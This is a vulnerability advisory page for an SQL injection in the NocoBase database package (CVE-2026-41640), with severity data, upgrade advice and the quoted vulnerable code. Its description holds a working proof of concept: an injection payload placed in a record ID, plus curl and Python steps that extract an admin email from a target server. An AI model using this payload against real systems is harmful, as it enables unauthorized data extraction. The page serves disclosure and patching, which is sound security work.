Skip to main content
VulnerabilityPublished Updated

CVE-2026-41640: @nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading

Affects @nocobase/databaseSource GCVE Database

0
Authoritative record:CVE-2026-41640· High 7.5

Not known to be exploited · public detection template (Nuclei) · CVSS 7.5 High : upgrade to 2.0.39 soon.

Data as of 27 Oct 2026, 00:07 UTC

CVSS 3.1 base score
7.5High
How severe the flaw is on the 0–10 CVSS scale.
Patch
Available – fixed in 2.0.39
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 7 May 2026

  2. Weaponised: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  3. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  4. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

What to do

Upgrade @nocobase/database to 2.0.39.

Affected software

ProductAffectedFixed in
npm@nocobase/databaseAffected
  • <2.0.39
Fixed in
  • 2.0.39

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary The `queryParentSQL()` function in the core database package constructs a recursive CTE query by joining `nodeIds` with string concatenation instead of using parameterized queries. The `nodeIds` array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. **Affected component:** `@nocobase/database` (core) **Affected versions:** <= 2.0.32 (confirmed) **Minimum privilege:** Any user with record-creation permission on a tree collection with string-type primary keys ## Vulnerable Code `packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84` ```javascript const queryParentSQL = (options: { db: Database; nodeIds: any[]; collection: Collection; foreignKey: string; targetKey: string; }) => { const { collection, db, nodeIds } = options; const tableName = collection.quotedTableName(); const { foreignKey, targetKey } = options; const foreignKeyField = collection.model.rawAttributes[foreignKey].field; const targetKeyField = collection.model.rawAttributes[targetKey].field; const queryInterface = db.sequelize.getQueryInterface(); const q = queryInterface.quoteIdentifier.bind(queryInterface); return `WITH RECURSIVE cte AS ( SELECT ${q(targetKeyField)}, ${q(foreignKeyField)} FROM ${tableName} WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}') // <-- INJECTION UNION ALL SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)} FROM ${tableName} AS t INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)} ) SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`; }; ``` This function is called at line 384 when a `BelongsTo` association has `recursively: true` and instances exist: ```javascript // eager-loading-tree.ts:382-395 if (node.includeOption.recursively && instances.length > 0) { const targetKey = association.targetKey; const sql = queryParentSQL({ db: this.db, collection, foreignKey, targetKey, nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows }); const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction }); } ``` ## PoC The payload keeps the CTE syntactically valid by injecting a third `UNION ALL` branch. The closing `')` from the original template literal completes the injected `WHERE` clause, and the remaining `UNION ALL ... INNER JOIN ... SELECT ... FROM cte` lines stay intact. ``` Injection ID value: root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1 Generated SQL (3 valid UNION ALL branches): WITH RECURSIVE cte AS ( SELECT "id", "parentId" FROM "table" WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1') UNION ALL SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId" ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte The CAST-to-integer triggers a runtime error whose message contains the subquery result. ``` ```bash TOKEN="<jwt_token>" # 1. Create tree collection with string PKs curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[ {"name":"id","type":"string","primaryKey":true,"interface":"input"}, {"name":"title","type":"string","interface":"input"}, {"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true}, {"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true} ]}' # 2. Create safe root curl -s http://TARGET:13000/api/vuln_tree:create \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"id":"root","title":"Root"}' # 3. Create injection parent — error-based extraction of admin email python3 -c " import requests, json headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'} payload_id = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\" requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers, json={'id': payload_id, 'title': 'x'}) requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers, json={'id': 'child', 'title': 'c', 'parentId': payload_id}) r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers, params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'}) print(json.dumps(r.json(), indent=2)) " # Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"admin@nocobase.com\""}]} #

References

Community reviews

Loading reviews…